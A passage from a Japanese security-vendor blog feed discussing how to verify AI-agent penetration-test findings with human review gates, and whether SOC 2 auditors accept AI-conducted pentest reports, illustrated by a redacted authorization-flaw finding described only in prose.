&lt;p&gt;スコープの強制、ツールの制御、エビデンスの取得、人間によるレビューは、モデルの外側で行われます。&lt;/p&gt;
&lt;p&gt;サーバーサイドリクエストフォージェリを考えてみましょう。ユーザーが制御できるURLフィールドは手がかりです。確定には、テスターのブラウザーではなくアプリケーションサーバーが、制御された宛先に接続したというエビデンスが必要です。レポートは、リクエスト、コールバック、ビルド、ロール、エンドポイント、時刻を保存すべきです。内部ネットワークへのアクセスを主張できるのは、別のテストがその影響を実証した場合に限られます。&lt;/p&gt;
&lt;p&gt;エビデンスが依然として不十分な場合、ハーネスは別のテストを要求するか、その結果を結論不能として記録します。自信、繰り返し、詳細な説明があっても、それを格上げすることはできません。&lt;/p&gt;
&lt;h2 id="なぜ自社のシステムでテストするのか"&gt;なぜ自社のシステムでテストするのか&lt;/h2&gt;
&lt;p&gt;当社は、Ostorlabが運用する選定された認可環境でも、このワークフローを実行しています。これは内部のセキュリティと製品の検証のためのエビデンスを提供しますが、独立した評価の代わりにはなりません。&lt;/p&gt;
&lt;p&gt;このアクセスは、有用なフィードバックループを生み出します。エンジニアは、主張を実装と比較し、エージェントが意図したレイヤーに到達したかどうかを確認し、見逃したものを調べ、既知の条件下で修正を再テストできます。裏付けのない候補はネガティブテストケースになります。エージェントが前提条件を見逃した場合、当社はそのコンテキストをハーネスに追加します。修復後は、検証済みのエクスプロイトがリグレッションテストになり得ます。&lt;/p&gt;
&lt;p&gt;この作業は、既知の認証状態、実装の詳細、デプロイの制約、修復サイクルに対してワークフローをテストします。その結果は、こうした環境でワークフローがどのように機能したかを教えてくれます。普遍的な精度を確立するものではありません。&lt;/p&gt;
&lt;h2 id="同じルールをgophishに適用する"&gt;同じルールをGoPhishに適用する&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/gophish-0121-manual-review-agentic-deep-scan.html"&gt;OstorlabによるGoPhishのソースコード評価&lt;/a&gt;は、同じエビデンスのルールをリポジトリ全体に適用しました。&lt;/p&gt;
&lt;p&gt;Agentic Deep Scanは、リポジトリ全体にわたるパターンを浮かび上がらせました。既存のオブジェクトを更新しうる作成経路、アカウントの状態から切り離された認証情報のチェック、安全でないブラウザーレンダリングの経路、そして設定によって挙動が変わるアウトバウンドリクエストの制御です。&lt;/p&gt;
&lt;p&gt;これらのシグナルは、次にどこを見るべきかをチームに伝えました。自動的にレポートに入ったわけではありません。&lt;/p&gt;
&lt;p&gt;最終的な評価には、レポートレベルの検出結果が8件含まれていました。それぞれが、関連するハンドラー、モデル、ミドルウェア、そしてブラウザーまたはネットワークの経路にわたって追跡され、再現可能なローカルの概念実証（PoC）と修復ガイダンスが付けられました。価値は、検出されたパターンの素の数ではなく、検証を通過した完全な経路から生まれました。&lt;/p&gt;
&lt;h2 id="外部の研究が加えるもの"&gt;外部の研究が加えるもの&lt;/h2&gt;
&lt;p&gt;当社の自社事例は、当社がどのように結果を検証するかを示しています。独立した研究は、別の問いに答える助けになります。すなわち、エージェントはどれほど有能なのか、という問いです。&lt;/p&gt;
&lt;p&gt;ある&lt;a href="https://arxiv.org/abs/2512.09882"&gt;制御された研究&lt;/a&gt;では、研究者たちが、12のサブネットにまたがる約8,000台のホストから成る実稼働の大学ネットワーク上で、10人のセキュリティ専門家、6つの既存のAIエージェント、そしてARTEMISと呼ばれる新しいマルチエージェントシステムを比較しました。2つのARTEMIS構成のうち強い方は、総合で2位につけました。その11件の提出のうち9件、つまり82%が有効と判定され、この研究のスコアリングフレームワークのもとで、10人の専門家のうち9人を上回る得点を挙げました。&lt;/p&gt;
&lt;p&gt;この結果には文脈が必要です。参加者には、通常の1〜2週間の作業ではなく、4日間で最大10時間の実作業時間が与えられていました。環境には本物の防御的な圧力がなく、サンプルは小規模で、論文はarXivのプレプリントです。また、ARTEMISは人間の参加者よりも多くの誤検知を生み出し、グラフィカルインターフェースに苦戦しました。&lt;/p&gt;
&lt;p&gt;この研究は、一つの制御された環境における能力を実証しています。あらゆるアプリケーション、ビジネスワークフロー、本番環境の制約にわたる同等性を確立するものではありません。そのハーネス次第で、エージェントはアセットやルートをマッピングし、セッションを維持し、ロールを比較し、データフローを追跡し、ペイロードを生成し、セキュリティツールを操作し、失敗したテストの後に適応することができます。&lt;/p&gt;
&lt;h2 id="人間をすべてのクリックの後ろではなく、ゲートに配置する"&gt;人間をすべてのクリックの後ろではなく、ゲートに配置する&lt;/h2&gt;
&lt;p&gt;本記事のために取材したあるセキュリティ実務者は、AIはすでに偵察、ペイロード生成、エクスプロイトの実行に有用だと述べました。その見解では、ビジネスロジック、曖昧な影響、そして最終的な検証は、依然として人間が担うべきです。その実務者は、&lt;strong&gt;追跡可能性と再現性&lt;/strong&gt;を強調しました。&lt;/p&gt;
&lt;p&gt;人間による承認は、すべてのリクエストに必要なわけではありません。それが重要になるのは、ある操作がデータを変更しうる、顧客を露出させうる、あるいは認可されたスコープを超えうる場合です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テストの前には&lt;/strong&gt;、人間が対象、ビルド、アカウント、データの分類、レート制限、禁止される操作を定義します。プロンプト中の一文ではなく、実行レイヤーがこれらの制限を強制しなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テストの最中には&lt;/strong&gt;、エージェントが大量の偵察と安全な仮説検証を担います。人間は、破壊的な操作、本番環境の変更、重大な権限昇格、そして実際の顧客データを露出させうる手順を承認します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テストの後には&lt;/strong&gt;、レビュー担当者が重要な検出結果を再現し、重大度とビジネスへの影響に異議を唱え、カバレッジのギャップを確認し、報告対象となる各結果を受け入れるか棄却します。2つ目のモデルがトリアージを支援することはできますが、最初のモデルの説明を読むだけであれば、独立したエビデンスにはなりません。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.pwc.com/us/en/tech-effect/cybersecurity/ai-penetration-testing-orchestration.html"&gt;PwCは同様のワークフローを説明しています&lt;/a&gt;。エージェントが偵察を行い、人間が推奨事項と情報収集の手法を検証し、システムがテスター向けに調査すべき対象を提案する、というものです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.crest-approved.org/crest-research-how-ai-is-changing-penetration-testing/"&gt;19か国62社のサイバーセキュリティプロバイダーを対象としたCRESTの研究&lt;/a&gt;も同様に、AIの利用が偵察、分析、レポート作成に集中しており、よりリスクの高いテストには人間がより深く関与していることを明らかにしました。&lt;/p&gt;
&lt;p&gt;人間によるレビューが役立つのは、レビュー担当者が素のエビデンス、関連する専門知識、そして結論に異議を唱えるのに十分な時間を持っている場合に限られます。&lt;/p&gt;
&lt;h2 id="機密データは脅威モデルの一部である"&gt;機密データは脅威モデルの一部である&lt;/h2&gt;
&lt;p&gt;ペンテストは、ソースコード、アーキテクチャ、管理者セッション、APIトークン、内部URL、顧客記録、そして動作するエクスプロイトを露出させる可能性があります。「当社は貴社のプロンプトで学習しません」というのは、リスクの一部にしか答えていません。&lt;/p&gt;
&lt;p&gt;エージェントにアクセスを許可する前に、セキュリティチームは次のことを把握すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;素のコード、トラフィック、シークレットが外部のモデルAPIに送られるかどうか。&lt;/li&gt;
&lt;li&gt;どのプロンプト、ツールの出力、トレースが保持され、誰がそれらにアクセスできるのか。&lt;/li&gt;
&lt;li&gt;モデル呼び出しとログの前にシークレットが伏字化されるかどうか。&lt;/li&gt;
&lt;li&gt;実行が隔離され、アウトバウンド接続が制限されているかどうか。&lt;/li&gt;
&lt;li&gt;データがどこで処理され、どれだけの期間残り、削除がどのように検証されるのか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モデルのプロバイダーは何も保持しない一方で、オーケストレーションサービスがすべてのHTTPレスポンスを保持している、ということもあり得ます。したがってレビューは、モデルAPIだけでなく、データの経路全体をカバーしなければなりません。&lt;/p&gt;
&lt;h2 id="検証済みの結果あたりのコストを計測する"&gt;検証済みの結果あたりのコストを計測する&lt;/h2&gt;
&lt;p&gt;偵察の工数が減ったからといって、あらゆる作業で総コストが下がると証明されるわけではありません。&lt;/p&gt;
&lt;p&gt;検証済みの結果あたりのコストを評価するには、プラットフォーム利用料、モデルの利用、インフラ、再試行、トリアージ、人間による検証、ガバナンスを含めてください。&lt;/p&gt;
&lt;p&gt;有用な尺度には、検証済みの重要な検出結果あたりのコスト、人間によるレビュー時間、リリースごとにテストした認可済みの対象範囲、棄却または格下げされた候補の割合、修復から検証済みの再テストまでの時間などがあります。&lt;/p&gt;
&lt;p&gt;ビジネス上の妥当性を示すには、同等のスコープと品質で比較してください。そのうえで、検証済みの結果に必要な専門家の工数を減らしつつ、ワークフローがテストの頻度やカバレッジを高めるかどうかを計測してください。&lt;/p&gt;
&lt;h2 id="監査人や顧客はそのレポートを受け入れるか"&gt;監査人や顧客はそのレポートを受け入れるか&lt;/h2&gt;
&lt;p&gt;「AIペンテスト」に普遍的な受け入れのルールはありません。受け入れられるかどうかは、適用される監査基準や顧客との契約、そしてその作業がスコープ、方法論、テスターの適格性、独立性、エビデンス、人間によるレビュー、説明責任についての要件を満たすかどうかに依存します。&lt;/p&gt;
&lt;p&gt;テストの前に、監査人または顧客とこれらの要件を確認してください。AIは実質的な技術的作業を実行できますが、自らのレポートがこれらの要件を満たすかどうかを判断することはできません。フレームワーク固有の受け入れは別個の問題であり、モデルの能力から推論すべきではありません。&lt;/p&gt;
&lt;h2 id="では、aiペンテストの結果を信頼できるのか"&gt;では、AIペンテストの結果を信頼できるのか&lt;/h2&gt;
&lt;p&gt;はい、エビデンスが6つの問いに答えられる場合には。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;対象は明示的に認可されていたか、そして何がテストされないまま残ったか。&lt;/li&gt;
&lt;li&gt;どの操作が実行され、対象は何を返したか。&lt;/li&gt;
&lt;li&gt;どのような観測可能な効果が脆弱性を実証したか。&lt;/li&gt;
&lt;li&gt;より単純な説明を排除したのは、どのネガティブコントロールと比較コントロールか。&lt;/li&gt;
&lt;li&gt;別のテスターがその結果を再現できるか。&lt;/li&gt;
&lt;li&gt;誰がエビデンスをレビューし、その結論について説明責任を負い続けるのか。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;モバイルの事例とGoPhishの評価は、同じ地点に至りました。すなわち、再現可能なエビデンスに裏付けられた主張だけがレポートに入った、ということです。&lt;/p&gt;
&lt;p&gt;AIは攻撃を実行できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信頼は、他の誰かがそれを検査し、再現し、同じ結論に至ることができたときに始まります。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="faq"&gt;FAQ&lt;/h2&gt;
&lt;h3 id="aiペンテストとは何か"&gt;AIペンテストとは何か&lt;/h3&gt;
&lt;p&gt;AIペンテストは、多くの場合言語モデルに基づくAIエージェントをセキュリティツールに接続し、認可された対象を調査するものです。従来のスキャナーとは異なり、エージェントは過去の観測結果から次のテストを選び、セッションを維持し、ペイロードを生成し、仮説を検証できます。その結果が有用になるのは、制御レイヤーがスコープ、操作、エビデンス、制約を記録している場合に限られます。&lt;/p&gt;
&lt;h3 id="aiは人間のペネトレーションテスターを置き換えられるか"&gt;AIは人間のペネトレーションテスターを置き換えられるか&lt;/h3&gt;
&lt;p&gt;今日のところ、完全な評価については確実には置き換えられません。AIは、偵察、既知の脆弱性のテスト、ペイロード生成、修正の再テストを自動化できます。ビジネス上の意図を理解し、曖昧な影響を評価し、リスクのある操作を承認し、カバレッジのギャップを精査し、最終的なレポートについて説明責任を負い続けるには、依然として人間が必要です。AIは、人間の役割全体を置き換えることなく、個々のタスクを置き換えることはあり得ます。&lt;/p&gt;
&lt;h3 id="aiペンテストは安全で信頼できるか"&gt;AIペンテストは安全で信頼できるか&lt;/h3&gt;
&lt;p&gt;強力な制御があって初めて、そう言えます。実行は認可されたスコープの範囲内にとどめ、リスクのある操作には承認を要し、機密データを保護し、重要な検出結果は人間が検証すべきです。チームはまた、何が実行され、何が起き、何がテストされないまま残ったかを検査できなければなりません。&lt;/p&gt;
&lt;h3 id="なぜaiペンテストツールはこれほど多くの誤検知を生み出すのか"&gt;なぜAIペンテストツールはこれほど多くの誤検知を生み出すのか&lt;/h3&gt;
&lt;p&gt;AIペンテストツールは、疑わしいコードや異常なレスポンスを悪用の成功と取り違えると、誤検知を生み出すことがあります。よくある原因には、アプリケーションのコンテキストの欠如、アイデンティティや前提条件についての誤った想定、認証の成功と解釈されたリダイレクト、不完全な実行時アクセスなどがあります。実行時の検証と再現性のチェックは、裏付けのない仮説が報告対象の検出結果になるのを防ぐのに役立ちます。&lt;/p&gt;
&lt;h3 id="aiが脆弱性を見つけることと、それを実証することの違いは何か"&gt;AIが脆弱性を見つけることと、それを実証することの違いは何か&lt;/h3&gt;
&lt;p&gt;脆弱性の可能性を指摘することは、たとえばユーザーが制御できるURLがサーバーサイドリクエスト関数に到達している、といったもっともらしい弱点を特定することを意味します。それを実証するには、観測可能な効果を生み出し、リクエストとレスポンスまたはコールバックを保存し、前提条件を文書化し、独立して再現できる、認可されたテストが必要です。仮説が確定した検出結果になるのは、その検証の後だけです。&lt;/p&gt;
&lt;h3 id="aiペンテストは機密データをリスクにさらすか"&gt;AIペンテストは機密データをリスクにさらすか&lt;/h3&gt;
&lt;p&gt;その可能性はあります。AIペンテストは、ソースコード、認証情報、HTTPトラフィック、内部URL、顧客記録、動作するエクスプロイトを処理することがあります。チームは、何が外部のモデルAPIに到達するか、オーケストレーションプラットフォームが何をログに記録するか、誰がそれらの記録にアクセスできるか、データがどこに保存されるか、どれだけの期間保持されるか、削除がどのように確認されるかを検証すべきです。&lt;/p&gt;
&lt;h3 id="aiが生成したペンテストのレポートは、監査人や顧客に受け入れられるか"&gt;AIが生成したペンテストのレポートは、監査人や顧客に受け入れられるか&lt;/h3&gt;
&lt;p&gt;普遍的な答えはありません。AI支援型のレポートが受け入れられるのは、適用される監査基準または顧客の要件を満たす場合に限られます。スコープ、方法論、テスターの適格性、独立性、AIの開示、エビデンス、人間によるレビュー、説明責任を事前に確認してください。AIは技術的作業を実行できますが、自らの受け入れ可否を判断することはできません。&lt;/p&gt;
&lt;h3 id="ai主導のペンテストにおいて、人間の制御下にとどめるべきものは何か"&gt;AI主導のペンテストにおいて、人間の制御下にとどめるべきものは何か&lt;/h3&gt;
&lt;p&gt;人間は、スコープ、認証情報、データの分類、禁止される操作、そして破壊的または本番環境に影響する可能性のあるテストの承認を制御すべきです。また、重要な検出結果をレビューし、重大度とビジネスへの影響に異議を唱え、テストされていない領域を精査し、最終的なレポートに何を入れるかを決めるべきです。実行レイヤーは、プロンプトの指示だけに頼るのではなく、これらの決定を強制すべきです。&lt;/p&gt;
&lt;h3 id="aiペンテストは実際にコストを削減するか"&gt;AIペンテストは実際にコストを削減するか&lt;/h3&gt;
&lt;p&gt;場合によります。削減が生じるのは、反復作業の減少が、プラットフォームの利用、インフラ、再試行、トリアージ、人間による検証、ガバナンスのコストを上回るときです。裏付けのない検出結果を棄却したり再構成したりするのに費やす工数も含め、同等のスコープと品質について、検証済みの結果あたりの総コストを比較してください。&lt;/p&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://arxiv.org/abs/2512.09882"&gt;実世界のペネトレーションテストにおけるAIエージェントとサイバーセキュリティ専門家の比較&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/gophish-0121-manual-review-agentic-deep-scan.html"&gt;Ostorlab：Agentic Deep ScanによるGoPhishのソースコード評価&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crest-approved.org/crest-research-how-ai-is-changing-penetration-testing/"&gt;CREST：AIはペネトレーションテストをどう変えているか&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pwc.com/us/en/tech-effect/cybersecurity/ai-penetration-testing-orchestration.html"&gt;PwC：より広範なカバレッジのためのマルチエージェント・ペネトレーションテスト&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="AI"/><category term="Pentesting"/><category term="Agentic AI"/><category term="AppSec"/><category term="Security Testing"/></entry><entry><title>SOC 2はAIが実施したペネトレーションテストを受け入れるか</title><link href="https://blog.ostorlab.co/ja/can-soc2-accept-ai-conducted-penetration-test-report.html" rel="alternate"/><published>2026-08-06T10:00:00+02:00</published><updated>2026-08-06T10:00:00+02:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-08-06:/ja/can-soc2-accept-ai-conducted-penetration-test-report.html</id><summary type="html">&lt;p&gt;SOC 2は必須のテスト手法を指定していないため、監査人が評価するのはツールではなくエビデンスです。AIが実施したペネトレーションテストがSOC 2 Type II監査を満たすために実際に必要なものを解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;よくある誤解&lt;/strong&gt;：SOC 2では、ペネトレーションテストを人間のコンサルタントが実施することが例外なく求められている。トラストサービス規準のどこにもそのような記述はありませんが、この思い込みは広く浸透しており、多くのチームが不意を突かれています。年に一度の契約を発注する代わりに、AI主導の継続的なペンテストを年間を通じて実施するセキュリティチームが増えています。そうしたチームはSOC 2監査の場で、監査人がこれまで問われたことのない質問を投げかけることになります。人間のコンサルタントではなく、AIエージェントがテストを実施したペネトレーションテストレポートを受け入れてもらえるのか、という質問です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SOC 2はAIが実施したペネトレーションテストを受け入れるのか。&lt;/strong&gt;答えはイエスですが、条件があります。監査人にとって実際に重要な条件がどれなのかを見ていきましょう。&lt;/p&gt;
&lt;p&gt;本記事の残りでは、それがなぜ正しいのかを順に説明します。SOC 2が実際に求めていること、なぜ継続的なAIテストが年1回のペンテストよりも監査期間に適合するのか、そして監査人が受け入れるAI生成のエビデンスと、却下されるAI生成のノイズとを分けるものは何かを取り上げます。&lt;/p&gt;
&lt;h2 id="soc 2は実は「ペネトレーションテスト」とは言っていない"&gt;SOC 2は実は「ペネトレーションテスト」とは言っていない&lt;/h2&gt;
&lt;p&gt;初めてトラストサービス規準をよく読んだ人は、このことに驚きます。米国公認会計士協会（AICPA）は、&lt;a href="https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022"&gt;TSP Section 100&lt;/a&gt;（2017年の規準と、2022年に公表された改訂版の着眼点）でトラストサービス規準を定めています。公式ドキュメントを注意深く読むと、本文が名指しでペネトレーションテストを義務付けている箇所は一つもないことがわかります。義務付けられているのは、組織が自らの制御が有効に運用されているかどうかを評価することです。そして、技術的な制御についてその評価を行う方法として監査人が期待する市場標準となったのがペネトレーションテストです。これはフレームワークがその特定の手法を要求しているからではなく、制御が単に書類上存在するだけでなく、攻撃を受けても実際に持ちこたえることを示せる手段が他にないからです。&lt;/p&gt;
&lt;p&gt;主な比重を担っているのは次の3つの規準です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;規準&lt;/th&gt;
&lt;th style="text-align: left;"&gt;求められること&lt;/th&gt;
&lt;th style="text-align: left;"&gt;テスト手法が監査人の評価方法となる理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CC4.1：モニタリング活動&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事業体は、自らの制御が存在し機能しているかどうかを評価する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;制御を確認する（設定を読む、ポリシー文書をチェックする）ことでその存在は確認でき、攻撃することでそれが機能することを確認できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CC7.1：脆弱性の特定&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事業体は、自らのインフラにおける脆弱性を特定する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;継続的な活動を意味する。脆弱性は決まった年次スケジュールで現れるわけではないため、エビデンスは期間中の一時点ではなく監査期間全体をカバーする必要がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CC7.2：セキュリティイベントの検知&lt;/td&gt;
&lt;td style="text-align: left;"&gt;事業体は、異常を特定するための検知手順を実装する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実際の攻撃は、本物のイベントを発生させ、検知が実際に作動するかを観察できる数少ない方法の一つである&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;つまり「SOC 2のためにペンテストが必要だ」というのは、実際には「監査対象期間を通じて、制御を破ろうとする能動的な試みに対して制御が持ちこたえるという、信頼できるエビデンスが必要だ」ということの略記なのです。この区別は重要です。監査人の本当の問いは、&lt;em&gt;誰が、あるいは何がテストを実行したか&lt;/em&gt; ではなかったことを意味するからです。問われているのは、そこから得られたものが制御の有効性を示す信頼できる再現可能なエビデンスかどうかです。AIエージェントは、人間のテスターとまったく同じ基準で評価されます。&lt;/p&gt;
&lt;h2 id="type ii監査は一時点のスナップショットではなく継続的なエビデンスのために設計されている"&gt;Type II監査は一時点のスナップショットではなく継続的なエビデンスのために設計されている&lt;/h2&gt;
&lt;p&gt;SOC 2には2つの種類があり、その違いによって「受け入れ可能なエビデンス」の意味そのものが変わります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Type I&lt;/strong&gt; は、ある一時点において制御が適切に設計されていたことを証明します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type II&lt;/strong&gt; は、監査期間（通常は6〜12か月）を通じて制御が有効に運用されていたことを証明します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;従来の年1回のペネトレーションテストが生み出すデータポイントは一つだけです。その期間内のある日付のレポートです。Type I監査であれば、これは妥当な適合です。しかしType II監査では構造的な不一致となります。一つのスナップショットに12か月分の制御の運用を代表させることになり、その契約期間の前後に起きたことには、まったくエビデンスがないからです。&lt;/p&gt;
&lt;p&gt;ここで、AI主導の継続的なテストは、エビデンスの量だけでなく、その形を変えます。エージェント型のペンテストプラットフォームは、監査期間内で一度だけ契約を行うのではなく、期間全体にわたって定期的なテストサイクルを実行できるため、エビデンスの記録はType IIの意見が証明する期間と同じ期間に自然とまたがります。監査期間の7か月目に公開された新しいCVEは、7か月目に自社の環境に対してテストされます。翌年の年次ペンテストがたまたまそれを捉えたときに遡って発見されるのではありません。これは、Type II監査が実際に証明しようとしていることに構造的によりよく適合します。要件を回避する近道ではなく、要件により近く合致するものです。&lt;/p&gt;
&lt;h2 id="soc 2においてaiペンテストレポートが満たすべき基準とは"&gt;SOC 2においてAIペンテストレポートが満たすべき基準とは&lt;/h2&gt;
&lt;p&gt;SOC 2監査において、検出結果を生み出したツールは監査人の本当の関心事ではありません。監査人はすでに多くの自動化されたインプット（脆弱性スキャナー、設定コンプライアンスツール、ログベースのモニタリング）を裏付けとなるエビデンスとして受け入れています。ペネトレーションテストレポートが、AIによるものであれ人間によるものであれ、通用するかどうかを決めるのは、同じ短い特性のリストです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;重大度スコアではなく再現可能な実証。&lt;/strong&gt; 検出結果には、リクエスト/レスポンスのペア、再現経路、または第三者が影響を独自に確認するために使用できるその他の成果物が必要です。パターンマッチに付けられた信頼度の評価では不十分です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文書化され、確認可能な手法。&lt;/strong&gt; 監査人は、ブラックボックス的な「モデルを信頼してほしい」という主張を鵜呑みにするのではなく、実際に何がテストされたのか（どのエントリーポイント、どの仮説、どの検証ステップか）を読めなければなりません。監査人がブラックボックスに対して職業的な懐疑心を持つのには、もっともな理由があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;名前を明記した、責任ある人間による承認。&lt;/strong&gt; チェーンのどこかで、特定の資格ある人物が結果をレビューし、レポートの正確性に責任を負っている必要があります。人間が実施する契約で、レポートに署名したテスターの名前が明記されるのとまったく同じです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定義され合意されたスコープ。&lt;/strong&gt; プログラムがどのシステムを、どの期間にわたってカバーし、それが監査の境界とどう対応するのか。スコープが未定義であったり変動したりすると、誰がテストを実行したかにかかわらず、エビデンスの品質が損なわれます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;期間を通じたエビデンス形式の一貫性。&lt;/strong&gt; Type II監査が依拠するエビデンスの形が途中で変わる場合（レポート構造が異なる、カバレッジが異なる、説明がない）、それはイノベーションではなく危険信号と受け取られます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;モバイルバックエンドにおける実際のオブジェクトレベルの認可の不備（BOLA）の検出結果をもとに、項目1と2が実際にどのようなものかを示します。エンドポイント名、トークン、識別可能な値は伏せてあります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="クリティカルなオブジェクトレベルの認可の不備の検出結果、その説明、背後にある根本原因の確認を示すOstorlabの検出結果の概要。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-29_soc2_ai_penetration_testing/finding-overview.png" title="Ostorlab Agentic Deep Scanの検出結果の概要：オブジェクトレベルの認可の不備"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Agentic Deep Scanの検出結果の概要：オブジェクトレベルの認可の不備&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：検出結果そのもの。重大度、欠陥の平易な説明、そして脆弱なエンドポイントが、同等のエンドポイントでは正しく適用されているヘッダーを無視していることを示す根本原因の確認です。以下の図では、この特定の検出結果がどのように計画され、再現され、再検証されたのかをたどります。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ハードコードされたAPKの認証情報から取得したBearerトークンと、脆弱なエンドポイントを調べるために作成された暗号化済みリクエストペイロードを示す、サニタイズ済みのAgentic Deep Scanのエビデンス。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-29_soc2_ai_penetration_testing/exploitation-evidence-token.png" title="サニタイズ済みのAgentic Deep Scanの悪用エビデンス：トークンの取得"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズ済みのAgentic Deep Scanの悪用エビデンス：トークンの取得&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：再現経路の最初の2ステップ。ハードコードされたクライアントの認証情報からグローバルなBearerトークンを取得し、次に対象の方式に合わせて暗号化したリクエストペイロードを作成します。公開のため一部を伏せています。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ユーザー固有のセッショントークンなしにユーザーのPIIを返す、脆弱なエンドポイントからのサニタイズ済みの復号済みレスポンス。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-29_soc2_ai_penetration_testing/exploitation-evidence-pii.png" title="サニタイズ済みのAgentic Deep Scanの悪用エビデンス：返されたデータ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズ済みのAgentic Deep Scanの悪用エビデンス：返されたデータ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：図2のリクエストが実際に生み出したレスポンス。ユーザートークンを一切提供していないにもかかわらず、有効なアカウントについて個人を特定できる情報（PII）のオブジェクト全体が返されています。これが項目1でいう「再現可能な実証」です。第三者がまったく同じリクエストを再実行すれば、同じ結果を得られます。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="名前付きの計画エージェント、明示的な目的、ベースラインの文書化とアタックサーフェスのマッピングから始まる段階的なタスクリストを示す、同じ検出結果の背後にあるテスト計画。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-29_soc2_ai_penetration_testing/testing-plan-methodology.png" title="Ostorlab Agentic Deep Scanの検出結果における、文書化され確認可能なテスト手法"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Agentic Deep Scanの検出結果における、文書化され確認可能なテスト手法&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図4：同じ検出結果の背後にあるテスト計画。名前付きの計画エージェント、明示的な目的（ヘッダーのバイパスの確認、トークンで十分であることの検証、ローテーションをまたいだ持続性の確認など）、そしてベースラインの文書化とアタックサーフェスのマッピングから始まる段階的なタスクリストです。これが項目2でいう「確認可能」の意味です。監査人は結果だけでなく、何が計画され何がテストされたのかを正確に読み取ることができます。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;これら5つの特性はいずれもAIに固有のものではありません。平凡な人間のペンテストレポートも満たせない、同じ基準です。再現手順のない曖昧な検出結果、誰も名前を挙げられない下請け業者、一度も書き留められなかったスコープなどがその例です。AIが実施したテストが甘く採点されることはありませんし、その必要もありません。検出結果を実際に検証するエージェント型テストは、急ごしらえの手動の契約やシグネチャベースのスキャンよりも安定してこの基準をクリアします。&lt;/p&gt;
&lt;h2 id="「aiが実施した」がエビデンスとしてひそかに失敗する場面"&gt;「AIが実施した」がエビデンスとしてひそかに失敗する場面&lt;/h2&gt;
&lt;p&gt;注意すべき失敗のパターンは、「AIが関与していたので監査人に却下された」ということではありません。AIの &lt;em&gt;スキャナー&lt;/em&gt; をAIの &lt;em&gt;ペンテスト&lt;/em&gt; と取り違え、前者を後者と称して監査人に渡してしまうことです。&lt;/p&gt;
